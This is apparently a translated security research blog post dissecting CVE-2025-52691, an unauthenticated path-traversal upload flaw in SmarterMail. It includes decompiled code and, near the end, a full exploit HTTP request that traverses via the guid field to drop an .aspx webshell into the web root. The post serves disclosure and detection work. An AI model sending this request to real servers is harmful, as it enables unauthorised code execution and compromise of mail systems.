SmarterMail预身份验证RCE漏洞深度剖析(CVE-2025-52691)

本文详细分析了SmarterMail邮件服务器中一个CVSS 10分的预身份验证远程代码执行漏洞(CVE-2025-52691)。通过代码对比和深入分析,揭示了文件上传端点因缺乏GUID参数验证而导致的路径遍历漏洞,最终允许攻击者无需认证上传任意文件并执行代码。

聪明人会说他们聪明吗?(SmarterTools SmarterMail预身份验证RCE CVE-2025-52691)

欢迎来到2026年!当我们都在等待每年一月例行发生的SSL VPN在野利用编程时,我们已经从圣诞节假期归来,闲散的双手,闲散的思想,等等等等。

十二月,我们收到了关于SmarterTools SmarterMail解决方案中一个漏洞的警报,同时伴随着新加坡网络安全局(CSA)发布的公告——CVE-2025-52691,这是一个预身份验证RCE,在行业评分标准中获得了满分(10/10)。

这类漏洞总是令人兴奋,因为在绘制到watchTowr幻灭象限时,它们在两个轴上都表现良好——愤怒诱饵和技术兴趣。

什么是SmarterTools SmarterMail?

SmarterTools将其描述为“一个安全的、一体化的Windows和Linux商务邮件与协作服务器——一个经济实惠的Microsoft Exchange替代品”。

但无论如何

在我们不可避免的序言中,有些事情让我们感到好奇。

CSA的公告和CVE条目都是在2025年12月底发布的。我们也了解到该漏洞在build 9413中得到了修复——但这怎么可能呢?这个版本是在2025年10月10日发布的,在撰写这篇博客文章时,最新的构建版本是9483。

虽然我们不是心灵感应者,但这很令人好奇——这是否意味着这个漏洞在披露前近3个月就被悄悄修复了,而这个解决方案的客户不得不等待大约2.5个月才获得官方信息,得知这个不那么关键的CVSS 10漏洞已被识别和修复——并且他们可能需要紧急更新?

一如既往,这确实令人受启发,因为有这样的话“它使我们的客户安全[免受我们先前不安全的软件影响],给他们时间打补丁,等等等等”。

虽然或许值得称赞,也许吧,也许不是——我们在2025年(以及之前许多年)都被强行灌输了这样的教训:攻击者实际上知道逆向工程,并且确实有能力识别悄悄修复的漏洞。

这再次让所有人疑惑——这真的发生了吗?是否可能有人在公告发布前就发现了这一点并且一直未被察觉?

至少build 9413的发布说明提到了一些友好的“常规安全修复”,不管这意味着什么。

抱怨够了——让我们快速过一遍这个漏洞。

虽然漏洞本身在回顾时看起来很“简单”,但它确实需要阅读,并且似乎已经存在于代码库中相当长一段时间了。向新加坡战略信息通信技术中心(CSIT)的蔡孟汉先生致敬。

CVE-2025-52691 - 技术细节

我们像往常一样开始这次探索,对比易受攻击和不易受攻击的版本。

根据公告,我们选择了以下SmarterMail版本:

  • Build 9406 (易受攻击)
  • Build 9413 (不易受攻击)

我们将跳过大量无关的代码更改,直接跳到我们看到“有趣”的地方。

在这里,您可以看到SmarterMail.Web.Api.FileUploadController.Upload方法的差异:

在上述差异中,我们可以看到修补后的build 9413添加了对与GUID相关参数的验证。

这让我们感到奇怪,并且与公告给我们的感觉一致——让我们验证这是否可能有趣。

FileUploadController是一个有效的API控制器,注册到/api/upload路由:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
namespace SmarterMail.Web.Api
{
    [Route("api/upload")]
    [DisplayName("File Upload")]
    [ApiDoNotDocument]
    [ApiExceptionFilter]
    public class FileUploadController : ApiControllerBase
    {
        //...
    }
}

在修补版本中,这是一个有效的API端点,不需要(零,0)身份验证即可交互(注意AuthenticatedService属性的AllowAnonymous值):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[ShortDescription("")]
[Description("Upload a file chunk.")]
[AuthenticatedService(AllowAnonymous = true)]
[Route("")]
[HttpPost]
[Returns(typeof(string))]
public Task<ActionResult> Upload()
{
    //...
}

这感觉是对的。

我们似乎有:

  • 一个无需身份验证的文件上传端点,其中
  • 打补丁后,添加了一定程度的GUID验证。

没有人需要成为预言家来预测这里出了什么问题,以及为什么这个GUID验证可能如此重要。

和往常一样,我们将逐步确认这一点。

那里有很多代码。为了简洁起见,我们显著缩短了代码片段,旨在只包含最重要的部分。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
[ShortDescription("")]
[Description("Upload a file chunk.")]
[AuthenticatedService(AllowAnonymous = true)]
[Route("")]
[HttpPost]
[Returns(typeof(string))]
public async Task<ActionResult> Upload()
{
    ActionResult actionResult;
    try
    {
        StringValues stringValues = base.Request.Form["context"]; // [1]
        StringValues stringValues2 = base.Request.Form["contextData"]; // [2]
        if (base.Request.Form.Files.Count == 0) // [3]
        {
            actionResult = this.StatusCode(415);
        }
        else
        {
            //...
            if (stringValues2 != StringValues.Empty)
            {
                pupData.targetData = JsonConvert.DeserializeObject<PostUploadProcessingTargetData>(stringValues2.ToString()); // [4]
            }
            //...
            switch (readPartResult2.status)
            {
                case ReadPartStatus.BAD:
                    actionResult = base.CreateStatusCode(HttpStatusCode.InternalServerError, readPartResult2.message);
                    break;
                case ReadPartStatus.GOOD:
                    actionResult = this.Ok("");
                    break;
                case ReadPartStatus.DONE:
                {
                    ResumableConfiguration uploadConfiguration = this.GetUploadConfiguration();
                    FileStream file = FileX.OpenRead(readPartResult2.filePath);
                    object obj = null;
                    SmarterMail.Web.Logic.UploadResult retStatus;
                    try
                    {
                        retStatus = await UploadLogic.ProcessCompletedUpload(this.WebHostEnvironment, base.HttpContext, base.HttpAbsoluteRootPath, base.VirtualAppPath, currentUserTemp, pupData, new SmarterMail.Web.Logic.UploadedFile
                        {
                            fileName = uploadConfiguration.FileName,
                            stream = file
                        });
                    }); // [5]
                    //...

让我们逐步查看我们的注释:

  • 在[1]和[2]处,代码将从HTTP请求中检索context和contextData。
  • 在[3]处,我们获得了一个重要的信息——这表明我们上传的任何文件都应使用multipart/form-data内容类型。
  • 在[4]处,我们可以看到代码将contextData反序列化为PostUploadProcessingTargetData类型的对象。
  • 在[5]处,代码调用ProcessCompletedUpload方法,我们的反序列化对象将作为输入之一包含在内。

在我们开始分析ProcessCompletedUpload方法之前,让我们尝试理解我们应该在contextData参数中提供什么——以确保JSON反序列化成功。

以下代码片段展示了PostUploadProcessingTargetData类的简化代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
namespace SmarterMail.Web.Logic
{
    [Serializable]
    public class PostUploadProcessingTargetData
    {
        //...
        [CanBeNull]
        public string guid { get; set; }
        
        [CanBeNull]
        public string domain { get; set; }
        //...
    }
}

简而言之,这个类包含与上传相关的多个设置。由于它是使用JSON.NET反序列化的,我们需要在这里“提供”有效的JSON以控制这些设置。

仔细看,我们可以看到PostUploadProcessingTargetData类包含一个公共guid属性,它也有一个公共设置器。这实际上意味着我们可以通过反序列化控制这个值,这可能与我们的探索相关,因为这个漏洞的补丁在此上下文中实现了验证。

接下来,ProcessCompletedUpload方法执行一个重要任务。

该方法利用switch-case语句根据攻击者控制的context参数的值做出决定。

实际上,它允许您执行不同的上传操作,如:

  • ICS文件上传
  • 附件上传
  • 笔记导入
  • 基于云的上传
  • 以及更多

根据我们对guid参数相关的怀疑,我们专注于利用此参数的上传操作。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static async Task<UploadResult> ProcessCompletedUpload(IWebHostEnvironment webHostEnvironment, HttpContext httpContext, string httpAbsoluteRootPath, string virtualAppPath, UserData currentUser, PostUploadProcessing pupData, UploadedFile file)
{
    UploadResult uploadResult;
    try
    {
        //...
        string target = pupData.target;
        if (target != null)
        {
            switch (target.Length)
            {
                case 8:
                    if (target == "task-ics")
                    {
                        return UploadLogic.TaskImportIcsFile(currentUser, file, pupData.targetData.source, pupData.targetData.fileId);
                    }
                    break;
                case 10:
                    if (target == "attachment") // [1]
                    {
                        return await MailLogic.SaveAttachment(webHostEnvironment, httpAbsoluteRootPath, currentUser, file, pupData.targetData.guid, ""); // [2]
                    }
                    break;
                case 11:
                    if (target == "note-import")
                    {
                        return NoteLogic.ImportNote(currentUser, file, pupData.targetData.source);
                    }
                    break;
                //...
            //...
        }
    }
}

宾果,您可以在上面的注释[1]和[2]处看到它。

如果攻击者提供context参数值为attachment,代码将调用MailLogic.SaveAttachment方法,并将攻击者的guid值作为参数之一。

最终,SmarterMail.Web.Logic.MailLogic.SaveAttachment方法会调用另一个同名方法,但由不同的类提供:SmarterMail.Web.Logic.HelperClasses.AttachmentsHelper.SaveAttachment。

这就是奇迹发生的地方!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static async Task<UploadResult> SaveAttachment(IWebHostEnvironment _webHostEnvironment, string httpAbsoluteRootPath, UserData currentUser, UploadedFile file, string guid, string contentId = "")
{
    //...
    try
    {
        if (file != null && file.stream.Length > 0L)
        {
            sanitizedName = AttachmentsHelper.SanitizeFilename(file.fileName); // [1]
            string text = AttachmentsHelper.FindExtension(sanitizedName); // [2]
            DirectoryInfoX directoryInfoX = new DirectoryInfoX(PathX.Combine(FileManager.BaseDirectory, "App_Data", "Attachments")); // [3]
            if (!DirectoryX.Exists(directoryInfoX.ToString()))
            {
                DirectoryX.CreateDirectory(directoryInfoX.ToString());
            }
            //...
            lock (attachments)
            {
                List<AttachmentInfo> list;
                AttachmentsHelper.Attachments.TryGetValue(attachguid, out list);
                if (list != null)
                {
                    if (list.FirstOrDefault((AttachmentInfo x) => x.Size == attachmentInfo.Size && x.ContentType == attachmentInfo.ContentType && x.ActualFileName == attachmentInfo.ActualFileName) == null)
                    {
                        attachmentInfo.GeneratedFileName = AttachmentsHelper.GenerateFileName(attachguid, list.Count, text); // [4]
                        attachmentInfo.GeneratedFileNameAndLocation = AttachmentsHelper.GenerateFileNameAndLocation(directoryInfoX.ToString(), attachmentInfo.GeneratedFileName); // [5]
                        list.Add(attachmentInfo);
                    }
                }
                else
                {
                    attachmentInfo.GeneratedFileName = AttachmentsHelper.GenerateFileName(attachguid, 0, text); // [6]
                    attachmentInfo.GeneratedFileNameAndLocation = AttachmentsHelper.GenerateFileNameAndLocation(directoryInfoX.ToString(), attachmentInfo.GeneratedFileName); // [7]
                    //...
                }
            }
            if (attachmentInfo.GeneratedFileName != null && attachmentInfo.GeneratedFileName.Length > 0)
            {
                using (FileStream fileStream = new FileStream(attachmentInfo.GeneratedFileNameAndLocation, FileMode.Create, FileAccess.Write))
                {
                    file.stream.CopyTo(fileStream); // [8]
                }
                //...
            }
        //...
        }
    //...
    }
    //...
}

在我们深入研究之前,让我们总结一下我们已经知道的情况。

我们有一个无需身份验证的文件上传端点,我们正在使用multipart/form-data HTTP请求触发它。

在此HTTP请求中,我们需要包含多个参数(如context和contextData)。

contextData参数允许我们控制和指定guid参数的值,该值以某种方式在附件上传操作中使用。

至关重要的是,我们的请求必须包含我们想要上传的文件。

为了简洁起见,我们将添加最后一件事——在此HTTP请求中,我们还需要指定resumableFilename参数。该值用于设置file对象的fileName值,您可以在[1]处看到。

如果您仔细查看上面的代码片段,可能会看到一些潜在的障碍:

  • 在[1]处,我们可以看到代码尝试对攻击者控制的文件名进行清理。让我们假设这种保护机制是正常的,它不允许您包含任何路径遍历序列。
  • 在[2]处,我们观察到一个名为FindExtension的关键方法,它在攻击者控制的文件名上调用。
1
2
3
4
5
6
7
8
9
private static string FindExtension(string fileName)
{
    if (fileName == null || fileName.Length < 1 || !fileName.Contains("."))
    {
        return "";
    }
    string[] array = fileName.Split('.', StringSplitOptions.None);
    return array[array.Length - 1];
}

然而,这个函数相当简单——它只是提取文件的扩展名,并不验证扩展名本身。可能没问题,因为您可能希望发送具有各种扩展名的附件。

  • 在[3]处,我们可以看到代码中的操作生成上传操作的基本目录。

在我们的基于Windows的环境中,它等于:C:\Program Files (x86)\SmarterTools\SmarterMail\Service\App_Data\Attachments

App_Data作为上传目标相当特殊,因为它通常受到IIS的适当限制,并且无法直接访问该目录中的文件。

长话短说,我们不能“简单地上传”一个webshell,如果这是我们正在遵循的正确路径,我们将需要以某种方式从此上传目录中逃逸。

幸运的是,我们还有更多——分别是第[4][5]行和第[6][7]行。

AttachmentsHelper.GenerateFileName生成一个文件名(我们感兴趣的guid作为参数之一包含在内),而GenerateFileNameAndLocation将生成的文件名包含在整个上传路径中!

让我们看一下:

1
2
3
4
5
6
7
8
private static string GenerateFileName(string attachguid, int count, string extension)
{
    if (extension != null && extension.Length > 0)
    {
        return string.Format("att_{0}_{1}.{2}", AttachmentsHelper.<GenerateFileName>g__CleanGuid|20_0(attachguid), count, extension);
    }
    return string.Format("att_{0}_{1}", AttachmentsHelper.<GenerateFileName>g__CleanGuid|20_0(attachguid), count);
}

惊喜,惊喜,我们应该改名为占卜师!

我们似乎正确预测了guid参数是我们的决定性因素,并且容易受到简单的路径遍历攻击。

好吧,等等——也许GenerateFileNameAndLocation方法中实现了一些保护措施?

1
2
3
4
5
private static string GenerateFileNameAndLocation(string directory, string generatedFileName)
{
    string format = "{0}" + PathVariables.FORWARDSLASH_STRING + "{1}";
    return string.Format(format, directory, generatedFileName);
}

没关系。没有。

在[8]处,我们可以看到我们上传的文件最终将被写入——包括路径遍历——我们通过任意文件写入在SmarterMail上实现了完整的无需身份验证的文件写入。

这是我们准备好的一个示例

为了将这一切联系起来,触发上述漏洞的最终HTTP请求如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /api/upload HTTP/1.1
Host: watchtowr.com:1337
Content-Length: 698
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="context"

attachment
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resumableIdentifier"

watchTowrID
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resumableFilename"

fakefile.aspx
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="contextData"

{"guid":"dag/../../../../../../../../../../../../../../../inetpub/wwwroot/watchTowr"}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="whatever"; filename="whatever.jpg"

Your-WebShell-Here
------WebKitFormBoundary7MA4YWxkTrZu0gW--

用更多的话解释一下:

  • 我们将context参数设置为attachment,允许我们到达易受攻击的代码路径。
  • resumableFilename参数包含一个具有.aspx扩展名的文件名。
  • contextData参数值包含一个guid键,我们利用它来滥用路径遍历。
  • 文件上传部分包含一个webshell负载。

为了双重确认,我们可以调试GenerateFileNameAndLocation方法,并验证我们能够成功利用路径遍历:

您可能会注意到代码会在文件名后附加一个整数,尽管这不是大问题——因为最终的文件名包含在HTTP响应中:

1
{"key":"att_dag/../../../../../../../../../../../../../../../inetpub/wwwroot/watchtowr_0.aspx","fileName":"fakefile.aspx"}

最终,我们的webshell被上传,我们可以享受一个友好的、悄悄修复了3个月的RCE。

顺便说一句,似乎SmarterMail会使用ClamAV扫描所有附件,如下面的截图所示。

然而,要么ClamAV无法识别基本的webshell负载(可能),要么SmarterMail无法处理ClamAV结果。有趣。

检测工件生成器

按照惯例,我们提供我们的检测工件生成器,使组织能够确定其暴露情况并构建检测规则集。此生成器可在此处找到,并已针对以下情况进行验证:

  • 基于Windows的安装,结合
  • 较新的构建版本(94xx)或过时的构建版本(16)。

(不,我们没有测试SmarterMail历史上发布的每个版本)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计